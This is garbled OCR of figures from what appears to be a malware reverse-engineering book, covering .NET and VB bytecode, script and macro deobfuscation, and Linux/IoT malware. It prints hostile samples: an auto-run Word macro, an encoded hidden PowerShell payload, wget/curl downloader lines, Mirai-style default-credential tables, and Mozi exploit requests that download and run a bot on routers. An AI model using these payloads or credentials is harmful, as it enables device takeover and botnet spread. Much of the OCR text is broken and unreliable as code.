u6161%u6c59%u6165%u6d61%3ub6c59%u6168%u6d62%ubeS5biu6c593u6966%u6961%u6a59%ubeb6s
ubd5f3u6c59%u6e65%u6160%ub6c59%u6e68%u6d60%u62663u6c59%u6665%u6d5fFu6c59%u6168%
u6d64%u6c59%u6568%u6761%u6968%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%
u6464%u6a5d¥u6ab65%u6265%u6e5b¥ub6461%u6665%u6d5£f¥u64643ub6c5etu7061%ub6f5c%u6162%
u6b64%u675e%u6568%u6961%u625d%ubc5dtube61%u6461%ubb5e3ub6l165%ubc5£f%u6260%ubc64s
u7062%u6668%ub675fFu6£f66%u6c59%u6£f66%u6563%u6461%u6e66%ub6d5fEu6767%ubc59%ubd6ls
u6c65%u6c59%u6£f66%u6d62%u6461%u6e66%u6d5£fFu6c59%u6561%u6c59%u6461%u6665%u6d5SEs
u6c5b%u6a66%u635£f%u665c%u6464%u615d%u6a59%u6665%3u695£f%u6a59%u6665%u655£f%u6459%
u6665%u655f%u6561%u6b67%u6161%u6c59%u6665%u655£3u6166%3u6c59%u6e65%u6d60%u7060%

NA2AAENAT A25NAARAFNARARENARANENRARIENAARENARANENTNARNENARARENIARTENAR259% 1R R

0x8
Ox24

19 O0xF197-0xF20%
20 HLen: OxBA g

K Texc |HexDump | Stream Details| |

Z Search Results

29 HLen: 0x1B <</8/JavaScript/JS 31 0 R>>
29 HLen: 0Ox1B <</S/JavaScript/JS 31 0 R>>

Errors Search [Debuc (3)]

| K ’
Shell | PDF Path IC:\Users\mot\besktop\SurveyOnObm.pdf_ s I Load | Abort |
Streams:12 | Js: 2 | Embeds: 0 | Pages: 4 | TTF: 0 [ osp: o | f1asn: o UnkFlt: 4 | Action: 2 | PRC: 0 A




Chapter 9: Reversing Bytecode Languages

-

mmmm

methods
ignition() accelerate() stop()

class

objects

ch

MajorRuntimeVersion
MinorRuntir on
MetaData,VirtualAddress
MetaData.

Flags

v (] 1L Library

it Required

D Strong Name Signed

EntryPoint
ResourcesVirtualAddress

Resourc

StrongMNameSignatur
CodeManagerTabl
CodeManagerTabl
VTableFixups.Virtual Address
VTabl
ortAddressTablelumps . VirtualAddress
AddressTablelumps.Si
ManagedN eader.VirtualAddress

ManagedNa eader,
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i1

File: | sample.bin

Entrypoint: | 00077BFE
File Offset: | 0007SDFE

Linker Info: [8.0

EP Section: | .text E_l
First Bytes: [FF,25,00,20 | > |

Subsystem: [Win3z GUI =]

| Microsoft Yisual C# | Basic .NET

l Multi Scan I l IaskViewerI ] QOptions I ’ About I ) Exit ]

[V sStay on top

S

Close

Viewer

DllName | OriginalFirstThunk | TimeDateStamp | ForwarderChain | Mame | FirstThunk |
mscoree.dl 0000E<EC 00000000 00000000 0000ESOE 00002000
Thunk RVA | Thunk Offset | Thunk Value | Hint/Crdinal | AFT Mame

00002000 00001000 O000BES00 0000 _CorExeMain




Instructions Locals  Exception Handlers
Index P C Marme

|:| |:| string@i]

[1 [
[1 [
[ O
[1 [
[ [
O O
[ O

Cancel




4
4
4
4
4
4
>
4
4
4

( [] args)
tring text = encc.myffll("EAAAATMTI ‘NMEM1T4pHn 16k Taubatys/
“+higcafykId2RUDVSAO! juhh 3 2MdoKMdnWpqTOgBUL7EL
+4rIe882ragLratgyehMACFigl 2BEnSv: y7uvktOvZpCFLI+6IO7U a PbEn@11APCRKTAFXC
k0q94pNBIWVZ3IGH2TI4S Ot 3 53k1 WEw 6gej btvT3/57rwixul LCdAVE
YSyumrANTMA 1 Lwivi T1vP1d3F
GIh321§h6qrF bynVemNVx62/ hpuFFVXHNXUBIUZANCVQsYKSbkgBo/nY s01S7nABS o enggAZVhu
tuzj41057wS+LUx@HbBHA78b+ZMmhyr16aLFAl 110a1 showkhi1YmVyRPH
ktT65dYQX4ukYh42ZRjOWZRENENMEXCAO7S ar visKm/H

e limfXm QasosIU In9SNg: SL86bhiAj
+LkiUYKRZ3IRY: abVzult19167gPHU0S +329dHg / LpK7kHWZgoc LAGXCy®
8 ENoAabrjc JDVIKK20S5BVqCg+syMmpTr ZKOXGERNWYNhoochodG /| H /ABS+G119R ExmLRAMVIVC
b IvoR6PUPtI71HL5dPO n/2c+mgnyF47KEK6VVIWOUVHBO0B] 5 UbOHNWxk1dCz0aFFBWLT2ghGIB) +Ku2D2TssUdRSEVDATPEFTnIxYnAUHW2MXHF TUdep:
THUWMLr 1x: B ZAAZ gVO1NpXHQS4pLI



C:/fSamples binstall. exe

Entropy FLC

Import Resource .MET
EntryPaoint: 0001b34e > ImageBase: 00400000
MumberOfSections: 0oo3 = SizeOflmage: 00032000

protector Confuser{1.X)[-] :
ibrary \NET(v4.0.30319)[-] :
linker Microsoft Linker{48.0%)[EXE32, console admin] .

Options
Detect It Easy Sig : Info About

112 ms

parameters, [] arguments)

(arguments == | | arguments.

PE PEID v0.95

File: |sample.bin l:l

Entrypoint: | 00003058 EP Section: | .text EI
File Offset: [00003058 First Bytes: [68,74,33,40
Linker Info: [6.0 Subsystem: |Win32 GUI

| Microsoft Visual Basic 5.0 | 6.0
‘ Multi Scan | | IaskViewerI | Qptions I ’ About ] l Exit I

[V stay ontop




.text:00403058 public start

.text:0804030858 start:

.text:00403058 push offset dword_403374
.text:0640305D call ThunRTHain
.text:@840305D ;

o

a

th Hex View-1)
Attributes: thunk

ThunRTHain proc near ; CODE XREF: .text:0648365D}1p
jmp ds:__imp_ThunRTHain
ThunRTHain endp




P-Code LI LI Native Code

Ct Decompiler Disassembler |HE>< Editor

Fit loz D0414480: push ebp s
log 00414A81: mov ebp, esp

log 00414A83: sub esp, 00000014k

log 00414A86: push 00402CE6h @ _ vhaExceptHandler
log 0O0414A8E: mov eax, f£3:[00000000h]

log 00414A91: push eax

log 00414A92: wov f£3:[00000000kL], esp

log 00414A99: sub esp, 00000044h

log 00414A9C: push ebx

log_00414A9D: push esi

log 00414A9E: push edi

log 00414A9F: mov wvar_ 14, esp

log 00414A42: mwov war 10, 00401A70h

log 00414A49: wor e3i, esi

loc O0414A4B: mov war C, esi

loc O0414AAF: mov wvar 8, esi

"Decompiler  Disassembler |HE>< Editor
'Data Table: 401C70
loc_4159F8: ILdI4 arg 10
loz 4159FB: LitI4 O
loc 415400: GtI4
loc_415401: BranchF loc 415419
loc_415404: LitVarI4
loc_41540C: F3tVar war AC
loc 415K10: LitI2 2263
loc_415413: FStIZ var AE
loc_415416: Branch loc 415442
loc_4154159: ' Referenced from: 415401
loc_415419: LitVarI4
loc_415421: F3tVar war_ CO0O |
loc_415425: LitVarl4
loc_41542D: F3tVar war DO
loz 415A431: LitI4 &HESFE

|»

loc 415436: F3tR4 var 98 f log O0414AB1: mov war 20, 00h -
o | »
|Crecampiled O |DEC0mPi|9d oK
P-Code P-Code IV Parse stack parameters v Procedure analyzer and optimizer < |
Decompiler  Disassembler |HE>< Editor Decampiler | Disassembler | HEX Editor |
'Data Table: 40199C —Public Function colas (Attend) '41612C ;I
loc 416074: FDupWVar 'Data Table: 40199C
loc_418074: LitI4 &H10 Dim var_ AS As Long
loc 41807F: LitI4 &HI1O loc_4160595: wvar A8 = HeapCreate|&H40000, £H10, <£H1O0
loc_416084: LitI4 &<H40000 loz_41605958: CreateTimerQueue (var_AS)
loc_416089: ImpAdCalllz HeapCreate(, , | loc_4160B3: WriteProcessMemory(-1, wvar A8, Attend, &H1O
loc_41808E: FEtR4 wvar AC loc_4160D7: WriteProcessMemory(-1, wvar_ A0, (wvar A5 + &),
loc_4160591: SetlastdystemError loc_4160F2: WriteProcessMemory(-1, wvar_ 59C, war_ A0, 4, 0]
loc_416052: ILdARf wvar_ AC loc_416113: WriteProcessMemory (-1, wvar_i4, (var_S5C + &H:
loc_418055: F3tR4 wvar i8S loc_416125: colas = (var A4 - 1)
105_416098: IwpAdC=l1FPRE4 CreateTimerQueus () “End Function

loc_41605D: SetlastdystemError

loc_41605E: LitI4 0O

loc_416043: LitI4 &H1O

loc_4160458: FLARIVar wvar 55

loc_41804E: ILARf war_ i8

loc_4160AE: LitI4 -1

loc_4160B3: ImpAdCallFPR4 WriteProcessMemworyi, , . . |

loc 4160B3: SetLastSystemError _J:J
4

¥

=

4

Decompiled OK Decompiled OF




File Edit References Tools Abouk

Ok EBEndad A P imEbpE v R EG

14, P32Dasm v2.80 - sample. bin =13

00015E1E: F5  LitI4: O (Ox0)
00015B20: DB GtI4 >

00015B21: 1C  BranchF 00015B39

00015B24: FECL LitVarI4: var EO = 78122700 (Ox4AS0ECC)
00015B2C: FCF6 FStVar war AC

00015B30: F3  LitIZ: 574 (Ox36A4)

00015B33: 70  FStIZ war AE
00015B36: 1E  Branch O0015B62
00015B39: loc 00015BZ1
00015B39: FECL LitVarI4: war EO
00015B41: FCF6 FStVar war CO
00015EB45: FECL LitVarI4: war EO
00015B4D: FCF6 FStWar war DO
00015B51: F5  LitI4: 19446 (Ox4BFe)
00015B56: 71  F3tR4 wvar 93
00015B59: F3  LitIZ: 545 (0x34D)
00015B5C: FCOD CUILIZ

00015BSE: FCFO FtUIL wvar SA
00015B62: loc OO0015B36

43963590 (Ox29ED4CH)

656831238 (Ox3ES7V406)

Idle Errors: 0 Unknown: 0 Procs: 56/61 (919,55 sec)




.text:068483C2C dd offset dword_46C398

.text:00483C30 dd offset dword_424368
dword_46C398 dd OE9E9E9E%h, 3 dup{BCCCCCCCCh) ; DATA XREF: .text:B884083Cc2CTo
;3 ===============8 U BROUTIHNE ssssssssssssssssssssssssssssssssssss=5=
; Attributes: bp-based frame
sub_48C3A08 proc near ; CODE XREF: frmMain_method_16+75])p
var_DC = dword ptr -6DCh
var_D8 = dword ptr -8D8h
var_D8 = dword ptr -6DBh
variant_6C8 = UB_VUARIANT ptr -8C8h
variant_0B8 = UB_UARIANT ptr -8B8h
variant_BA8 = UB_UARIANT ptr -6A8hH
variant_98 = UB_UARIANT ptr -98h
variant_88 = UB_UARIANT ptr -88h
variant_78 = UB_UARIANT ptr -78h
str_68 = byte ptr -68h
str_64 = dword ptr -64h
str_68 = dword ptr -66h
str_5C = dword ptr -5Ch
str_58 = dword ptr -58h
var_58 = byte ptr -56h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_18 = dword ptr -16h
var_C = dword ptr -86Ch
var_8 = dword ptr -8

push ebp ; nSize
mov ebp, esp
sub esp, 14h
push offset _ uvbaExceptHandler
mov eax, large fs:8
push eax

g mov large fs:8, esp

68881b40 0x401b88
e8f0 call 0x4017f6
1> pxw 4 @0x401b88+0x2cC

|> pd 4 @Ox00409380

8bec
83ec0O8
68261540




«#3 CodeBrowser(2): test:/sample.jar/opciones/AdvancedInformationPacket.class =10 x|
File Edit Analysis Mavigation Search Select Tools Window Help

Ble- = BPRPR|JIDULFRVYB: (@8 o /EIDG..08BO |3+

i i | X | i Listing: AdvancedinformationPacket.class I—'é_ B | &= XT %ecnmpile: parse_b... ¥ b | &~ X
AdvancedInformationPack & | f 23| 1 =
_AdvancedInformatior - — :] 2 |void parse_byte[]_void(AdvancedInform
method_lookup 3
<init=(v void _ stdcall parse_hyte[]_vmd(AdvancedIJ 4 ¢
: P X 5| Object tRef;
getPhonehumber()Lja: i <VOID> <RETURN> £ String pivarl;
A aetsi CountvvCodej},ﬂ encedInform... parameterSpa... this - boolean bVard;
_<L—T ke * parametersipa... paranl 8 int iVar2;
f Program Tree X parse_byte[]_void 9 | Arraylist pa 3
—_—— bb 00 02 new Ox2 10 ByteArrayInputStream obje /]
illu_ll Symbol Tree L] ™ 59 dup 11 ObjectInputitrean ctRe 0
7 [ Imports 2b aload_l 1 void ot R :
#-I0) Exports b7 00 03 invokesp... 0x3 1
- [ Functions 4d astore_2 14 | pbiects = new ByteArrayInput$t
- Labels bb 00 04 new 0x4 15 objectRef = new ObjectInputStrea
- CID Classes 59 dup 16 =ctRef = R .readObject
%[5} Namespaces ac aload 2 | (R throwExceptionOp (o £): %

|Filter: 1= | ||/ Console - Seripting h & x 1

plugi
abstract public

public SO utﬁutgtream o
b1ic .i0.0bjectInputStream in;

public
try

ObjectInp

LOAD_CONST @ ("hello wor
PRINT_ITEM

PRINT_NEWLINE

LOAD CONST 1 (None)
RETURN_VALUE

ode)
LOAD NAME @ (print)
LOAD_CONST @ ("hello wor
CALL_FUNCTION
POP_TOP
LOAD_CONST
RETURN_VALUE




Chapter 10: Scripts and Macros — Reversing, Deobfuscation,
and Debugging

cM""d.e""Xe /c p~orwrerrtrsMhAEALALA, NexNenr A-Neich

0000000 : Bral%kbikcieclxx%h
©0000e010: %yy%o %sfsrwrwiM
00000020 %xy%halkad2ykwars
00000030 skfjlsdjf%e %AAA
00000040 : %A%AA%Na%a%LIXXZ
©0000e50: %ys¥hssthikik%s %x
00000060 : fsChChChoo%alduS
©0000070: S%kb%ppp%o%ikkok

/; wget > ; curl -0 http:
; weget 2 ; curl -0 http:
; wget 2 - rl -0 http:
; wget : ; curl -0 http:

/; wget : ; curl -0 http:

/; wget 2 ; curl -0 http:

/; wget s ; curl -0 http:
; wget 2 ; curl -0 http:
; wget 2 ; curl -0 http:
; wget 2 ; curl -0 http:

/; wget 2 ; curl -0 http:
/; wget . ; curl -0 http:




“s. Microsoft Script Editor [design]

File Edit Yiew Debug Tools Window Help

@ %R --E-B ) - BER OB

|Toolbox 2 X | [Project Explorer 2 X
Clipboard Ring |
General |
' Pointer
lProperties 2 X

Al B

hd
f 32 Toolbox I Document Q...

| Ready

Options ? X

Search Options (Ctrl+E) £ Just-In-Time Debugging

Environment
Projects and Selutions
Source Control
Work Items
Text Editor
Debugging
General
Just-In-Time
Output Window
Symbols
Performance Tools
CMake
Database Tools
Graphics Diagnostics
NuGet Package Manager
Test
Text Templating v
[ o ] conce

Enable Just-In-Time debugging for these types of code:
(7] Managed

Native
alo]

AT vvovwvw

vvwvwvwvww




Choose Just-In-Time Debugger

An unhandled exception (Script Breakpoint’) occurred in [2564] cscript.exe.

Available Debuggers:

New instance of Visual Studio Community 2019

[ ] set the currently selected debugger as the default.
[ IManually choose the debugging engines.




Window  Help
Q- I -G ] ’ - - p Continue ~ [ o A
Process: [10164] cscript.exe - Lifecycle Events ~ Thread: | [2812] Thread 2812 -

A1l
4
4

example3.vbs [dynamic] &

2  Wscript.Echo "Hello Reader!"

1210(dx3 wea) 2i0dxg uonnjos RIEEERIE

100% ~

< Source

Value Type

Variable is unde... & ‘cscript.exe' (Script): Loaded 'Script Code (C:\W a

T GO Bl Watch 1 Call Stack Breakpo... Exceptio.. Comma... Immedi..

f Add to Source Control «

"Hello Reader!™

scrs=-array{li,79,110,32,659,114,114,111,114,32,62,101,115,11
for i=1 to UBound(strs)

runner=runner&chr (strs(i))
next

Execute runner



o = tength: 14483 =
Recipe BEE  nput e ™+ oD W=

13,79,110,32,69,114,114,111, 114,32,82, 101,115,117, 109, 101, 32, 78,101,120, 116, 32,13,1
0,13,10,68,105,109,32,80,114,111,163,114,97,109,70,105,108,101,115,80,97,116,104,32
e ,39,-12363,-12877,-15689,-16714, 13, 18, 68, 105, 109,32, 65, 108, 108,85, 115,101, 114,115, 8
\~[0-91{1,5}, REGEX~  @,97,116,104, 32,32,32,32,32,13, 19,68, 105,109, 32,117,115, 101,114,115, 8¢, 97, 116, 104, 1
3,10,68,105,109, 32,97,112,112,80,97,116, 104, 13,10, 39, 60, 33,45, 45,121, 89, 57,101,111
56,88,103,97,111,45,45,62,13,10,83,101, 116,32, 87,115, 104, 83,104,101, 108, 108, 32,61,3
Replace 2,87,83,99,114,105,112,116,46,67,114,101, 97,116,101, 79,98, 186, 101,99, 116,4@, 34, 87,8
3,99,114,105,112,116, 46,83, 104,101,108, 108, 34, 41,13, 10,80, 114,111,103, 114,97, 109, 70
,105,188,101,115,8@,97,116, 104, 32,61,32,87,83,72,83,104,101, 108,188, 46,69,120,112,9
7,116,100,69,119,118,105,114,111,116,109, 101, 110,116, 83,116, 114,165,110, 103, 115, 40
34,37,80,114, 111,103,114, 97, 109,70, 105, 108, 101, 115,37, 34, 41,32, 38,32, 34,92, 34,32, 39
,-17423,-14175,80,114,111,103, 114,97,109,32,70, 105,108,101, 115,-13319, ~11046,~15689
Multiline matching ([J Dot matches al ,-16714,13,10,65,108,108,85,115,101,114,115, 80,097,116, 164, 32, 61,32, 87, 83,72, 83,184,
101,108,188, 46,69,120,112,97,119,108,69,118,118,105,114,111,118, 189,101,118, 116, 83
116,114,165, 110, 183, 115,40, 34, 37,65,108, 108, 85,115,101, 114,115,80,114, 111,162, 10

Find / Replace Qn

Global match D Case insensitive

Lisin (sl ] © 11 gg,101,37,34,41,32,38,32,34,92,34,32,39,65,76, 76, 32,85, 83,69, 82,83, ~13319, 1104
Delimiter . time: Bms
Comma [ support signed values Output 1::222 ‘ﬁ; B |_|:| (o] r

On Error Resume Next

Dim ProgramFilesPath *

Dim AllUsersPath

Dim usersPath

Dim appPath

*<l--yY9eo8Xgao-—>

Set WshShell = WScript,CreateObject("WScript,Shell")

ProgramFilesPath = WSHShell.ExpandEnvironmentStrings("%ProgramFiles%") & "\"

Abc [design]
: File Edit View Inset Format Debug Run Tools Add-Ins Window Help

Bl 4 @8 9¢ » i uRBEY

» @ nicolt

Project - Project
=)

[+ Normal

= &i Project (Abc)
[=-£2§ Microsoft Word Objects

B9 ThisDacument

#-[7] Forms

(7] References

Abc - ufaso (UserForm) I?MEI[—)Zl
lj &, Abc - ThisDocument (Code) [:I@l@l

(General) v (Declarations) -

[ =

Sub Document_Open()

Call kos
End Sub

Properties - ThisDocument FJ

ThisDocumen! Document _~ |

Alphabetic | Categorized [

Public Sub kos()
Dim skapiska As String
Dir pop3r As Object

(Name) ThisDocument A | ) o .
AutoFormatOve False | Dim dop4nmiagiZ As Ohject

Fase  v| I Dim dopdmiagiZl As Object
ConsecutiveHyp 0 skapiska = Environ("Tem" & "p")
DefaultTabStop 35,4 Dim dop4miagi23 is Object
DefaultTargetFr
DisableFeatures False pop3r = CreateObject (ufaso.Label2.Tag)
DoNotEmbedSy: True Dim dop4miagi2S As Object
EmbedLinguisticl True Dim dop4miagizZ6 As Ohject
EmbedTrueType False Dim dop4miagi2? As Object
EncrvotionProvit Dirn dop4miagiz8 As Object



Word Options

General E-E Customize the Ribbon and keyboard shortcuts.
Display
' Choose commands from: (i Customize the Ribbon:
Prading lPopuIar Commands }'Main Tabs
Save
Traoaraat Accept and Move to Next A Main Tabs
il = Align Left M Home
Language ",‘j] Breaks 4 M Insert
Advanced E . |’ M Design
= Center
= : [ Page Layout
I L € Change List Level 4
ustomize Ribbon Ea Copy [ References
Quick Access Toolbar % Cut M Mailings
Define New Number Format... Review
Add-Ins ’,_(; Delete M view
[ Draw Table by
Trust Center Draw Vertical Text Box
(7 Email | Add &4 Add-Ins
#% Find - Blog Post
Font - << Remove Insert (Blog Post)
A Font... [~ Outlining
A Font Color [* Background Removal
Font Size 1]
Name Manager 7 X
New.. || Edt. || pelete Eter ~
|
G D | E
| AccountNumber Fullname ‘CustomerName
2 thide ? X
P . is encr
4
O the file in t
=4 n the web
- using an
= T ][ o | ffice deskt
W < W] Sheetl 7]
Parsing Results
[Nane l Value Offset Size
(3} Style[268] Style 12093 21
- BIFFRecord_General[269] StyleExt 12114 67
* BIFFRecord_General[270] TableStyles 12181 92
[+) BIFFRecord_General[271] UsesELFs 12273 6
(3} BoundSheet[272] Sheet1 12279 18
[} BoundSheet[273] Sheet2 12297 18
i Type 133 12297 2
- Length 14 12299 2
- IbPlyPos 12455 12301 4
- unused 0 12305 1
; 0 12306 1
[} SheetName 12307 8

]

g




Parsing Results

|>Name Value Offset \ Size

IQ BIFFRecord_General[320] ExternSheet 0x0000376d  0x00000012

j LBL[321] Lbl 0x0000377f 0x0000001F

[} LBL[322] Lbl 0x000037%¢  Ox0000001f

- Type 0x18 0x000037%e 0x00000002

Length 0x1B 0x000037a0 0x00000002

I=F Flags 0x000037a2  0x00000002
I (T 2 |

; frunc 0x0 0x000037a2 0x00000002

0x0 0x000037a2 0x00000002

0x0 0x000037a2 0x00000002

A

= 3
i Ron =RUN(SDES1231]

StepInto

Edit

Macrosin: | All Open Workbooks v
Desaiption

Cancel

RS Ty



Action Settings 7 5
Mouse Click Mouse Over

Action on mouse over

O Hone

D Hyperlink to:

|Next Slide v |
@ Bun program:

|| | | Browse...

Fun macro:

| ~]

Object action:

| ~]

|:| Play sound:
[[No Sound] v
Highlight when mouse over
[ ok || canca |

Microsoft Excel |

Remote data not accessible,

To access this data Excel needs ko stark another application, Some legitimate applications on your computer could be used maliciously to spread
viruses or damage your compuker, Only click Yes if wou trust the source of this workbook and vou wank to let the workboolk skart the application,
Start application "“MOL.EXE'?

-

k«}ec‘n-‘ off A
2 if %PROCESSCR ARCHITECTURE%—xSG (powershell exe -NoP -NonI -W Hldden —Command .

()

K3068AuxUDngdstbIc3BluXVmGIbcth3fbeSKWHLfbsPVCmSLl+EhRYSxGTandLK+E0JleeNnE2/
abkwnOPMyGm8w2pdeékoGGLl1ItXC91LZyWUpr2VDPheN3CXiXIiKzfgq9hwXZFaUk+3-57Nen+
erVcd42PJH89k4tmY6Zz63HvF2SI3H8dxX053nkfftveskf8Se8u3lZez18ivzayqtKgFrd91UkjODL+rzLGt42 /b42cNN8CcR7JRAX/KE
/sCDVInbbos7FBSH1BkVoejaxKnWzCsq+
faw5sVUSKW8ueFéUnSygkliM2FfJ1pPpl6L03CmxS6W1ldcI4wZ13uSKBZ0vsOmlbedfsJtb+ KpOTka3Thd071AKi9ct1J+vyPrNo+
TrzcZgocXoPmfKwmM14hBS6EIiEICI1uAQASCiRuUWDWWZAQELgYYaRSN1Id4xyBekIOmiuRRkr4CeyFGj7P9RCcDOASgPBANTEXWRREFV
1xwYegMx2gGAIVASuCXU00jiMasDGEf1TE61W1rBEYSpOkicgYicAzUUtPorJSBAYNIABAe99DamZJ0x/ca/
n8T9BAemcL1SABKIVOEfj1YvVSrrq/osCS5BbFKItXVIIQWNPySeijpwd9jJf+iwiOzmtr+
FRBKkWeKFYvyDRNcXOMSMMFOTaisgOECepRg4grRCzxBJj6w29C4YIyvhQZa4fnayveNLpg/ “FIM8igTCm4LM3VDsguBGe+
hgpMNDTEgKbaecBDv2£C /S 0XQnFsODxxrSjJALYFpiC5Lk20+IomcOUCHugBdfL/dmw41CnZ7ACo+E]jv2BJIcEokW+
vg2BQQWCWXSt2CVo9TmoseklpvHwIaawl7g620DXJUPNL /+SECaRYe 1NbxwQwmd1MvINISnVCQT7FCcIxyFg3XITxoV/wB++
g4p42DMceft5/kOyvermdeKNSVZMNRWZ i3muRVQ2 ZWcUpXVkFswZXSsuP3vPwg72xnrnaPjubk0/
zw96Nw3c2gzczaH99WSvHc2fzIKuYLoo6urWKzIMéc/IAJZZcTIVY/ . TwSWAONKJgHg411xXt+OET70ILTULiF1l/
QtRNPloOdBerzzfHAquWcSIdTofeIq3UKBwULVRLqRSSPtGSF5TewbzqoyI480658 \")) ),

TAD

[I0.Compression.CompressionMo ‘1—: :Decompress)), [Text.

( [ "nVZNstwDL3an1BDwkaF/
K3068AuxUDngdstbIc3BluXVmGIbcthBfbeSKWHLfbsPVCmSLl+EhRYSxGTandLK+EOJyW1eNnE2/




PS C:\> get-help invoke-expression

NAME
Invoke-Expression

SYNTAX
Invoke-Expression [-Command] <string> [<CommonParameters>]

ALIASES
iex

REMARKS

Get-Help cannot find the Help files for this cmdlet on this computer. It is displaying only partial help.
-- To download and install Help files for the module that includes this cmdlet, use Update-Help.
-- To view the Help topic for this cmdlet online, type: "Get-Help Invoke-Expression -Online" or
go to https://go.microsoft.com/fwlink/?LinkID=113343.

var fso = new ActiveXObject("Scripting.FileSystemObject"”);
var th = fso.CreateTextFile("c:\ \temp' \payload.bin”, true);
th.Write(data);

th.Close();

WiriteFile(“<some_data>");

var temp="",i,c=0,out="";

1=str.length;
while (c<=str.length-1)
{
while(str.charAt (c) !='!')temp=temp+str.charAt (C++) ;

cH-;

out=out+5tring.fromCharCode (temp) ;
temp="";

document.write (out);



. | [[] Other bookmarks
This page says

2 . " » :
Today is Mon Dec 24 2018 14:33:14 GMT+0000 (Greenwich Mean Time) st W fedannaies i ox

lindex.htm X

<html>

-
<body>
<script>

let date = new Date();
5 alert(“"Today is " + date);
6 </script>

7| </body>
8

</html>

v
+ I »| {} Lines5, Column9 =
no o @ Scope  Watch
v Call Stack A
Grrlaiaibics & Not paused

Today is Mon Dec 24 2018 14:41:42 GMT+0000 (Greenwich Mean Time)

& T Inspector Console [ Debugger  {} StyleEditor (& Performance 4 Memory = Metwork 3 0] = X
SOurces Cutline & mainjs x B[l &~ ¥ L?_})‘
69 filewys 1 let date = new Date(}; ¥ Watch expressions AR
HE:l=rt("Today is " + date);
i DO fwork/2018.12.10-book/chapter1lys 3 Add watch expression

JS main.js :
e
[ Pause on exceptions
main js

Ealer‘t("Tﬂday is " + date); 2

<



52 Malzilla by bobby

Download I Decoder

Kalimero Processor | Shellcode analyzer I Log | Clipboard Monitor | MNotes | Hex view I ps_ 4 | »

Text I Hex ]
Override default delimiter
Decode Dec (,) | | Decode J5.encode I Increase I UCS2Z To Hex
Decode Hex (%) J @ Predelimiter Decode Base64 l Decrease l Hex To File
Decode UCS2 (%U) I " Postdelimiter Concatenate I 1 ﬁ Text ta file

Call to known function with static result

Calls to known functiocns with predictable results get calculated.

Original Code

Analysis Result

l\rar ¥ = -~-n'bp'[720894129.8.t05tring(2 << 4) + "] * B + 2;

[\far‘ ¥ o= 34;




Chapter 11: Dissecting Linux and loT Malware

ELF header

Program header
table (optional for linking view)

Segment 1

Segment N
(Section M, Section M+1)

Section header table
(optional for execution view)




B Regular Function Unexplored © Instruction External symbol

Bo.0| o @ | k.8 | B0 | B0 | Bw. 0 |

sub_15ED4
STHFD SPY, {R4 LR}
suc 906118
CHN RO, #0x1060
MOU R4, RO
BLS loc_15EF8
1
"™E
BL sub_147E4
RSB R3, R4, #0
STR R3, [RO]
HOU R4, BOXFFFFFFFF
P
loc_15EF8
MOU RO, R&
LDMFD SPY, {R5,PC)
; End of function sub_15ED%&

80.00% |(-189,-35) |{415,182) |0000DEDS [00015EDS: sub_ 15ED4+4 |(Synchronized with

Data B Regular function  Unexplored © Instruckion External syrbal

:I ICA Yiews-5, E | @ He:x Yiew-1 m I Skruckures E Enums ﬂ |

FFFFFFFF SY3 mg timedreceive EQU Bx115
FFFFFFFF SYS_mq_notify EQU 8x116
FFFFFFFF 5Y5_mg_getsetattr EQU 82117

FFFFFFFF SYS_waitid EQU 8xz118
FFFFFFFF 5Y5 socket EQU B8xz119
FFFFFFFF S¥S_bind EQU B8z11A
FFFFFFFF 3Y:_connect EQU B8x11B
IFFFFFFFF S¥S_listen EQU 8x11C
FFFFFFFF 3Y5_accept EQU 8x11D

FFFFFFFF 5Y3_getsockname EQU Bx11E
FFFFFFFF SYS5_getpeername EQU 8x11F
]FFFFFFFF S3¥S_socketpair EQU @8z12@

FFFFFFFF SY¥5 send EQU B8=121
FFFFFFFF SY¥YS5_sendto EQU Bx122
FFFFFFFF 3¥3 recu EQU Bx123
FFFFFFFF 5YS_recufrom EQU B8=124

[ 2. macro_svs:oooo01lB|

<] |




add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support

add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (nane)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", “\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass

.data:00051208 00000138
.data:00051A1C 00000132
.data:00052230 00000360
.data:00052A44  000000A3
.data:00053258  000000A3
.data:00053A6C 00000314
.data:00054280 00000315
.data:00054A94 00000315
.data:000552A8 00000301
.data:00055ABC 00000094
.data:000562D0  000000F7
.data:00056AE4 00000382
.data:000572F8 00000074
.data:00057B0C 00000062

POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nConnection: keep-...
POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-ali...
POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nS...
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd8emd=rm+-rf+/tmp/*;wget+http://%s: %...
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd8ecmd=rm+-rf+/tmp/*;wget+http://%s: %...
POST /ctrit/DeviceUpgrade_1 HTTP/1.1\r\nHost: %s:37215\r\nContent-Length: 601\r\nConnec...
POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction:...
POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:5555\r\nUser-Agent: Hello, world\r\nSOAPAction:...
POST /HNAP1/ HTTP/1.0\r\nHost: %s:80\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nSOA...
GET /language/SwedishS{IFS}&&cdS{IFS}/tmp;rmS{IFS}-rfS{IFS}*;wgetS{IFS}http:// %s: %d/Mozi....
GET /shell?cd+/tmp;rm+-rf+*;wget+ http:// %s: %d/Mozi.a;chmod+ 777+ Mozi.a;/tmp/Mozi.a+j...
POST /soap.cgi?service=WANIPConn1 HTTP/1.1\r\nHost: %s5:49152\r\nContent-Length: 630\r\...
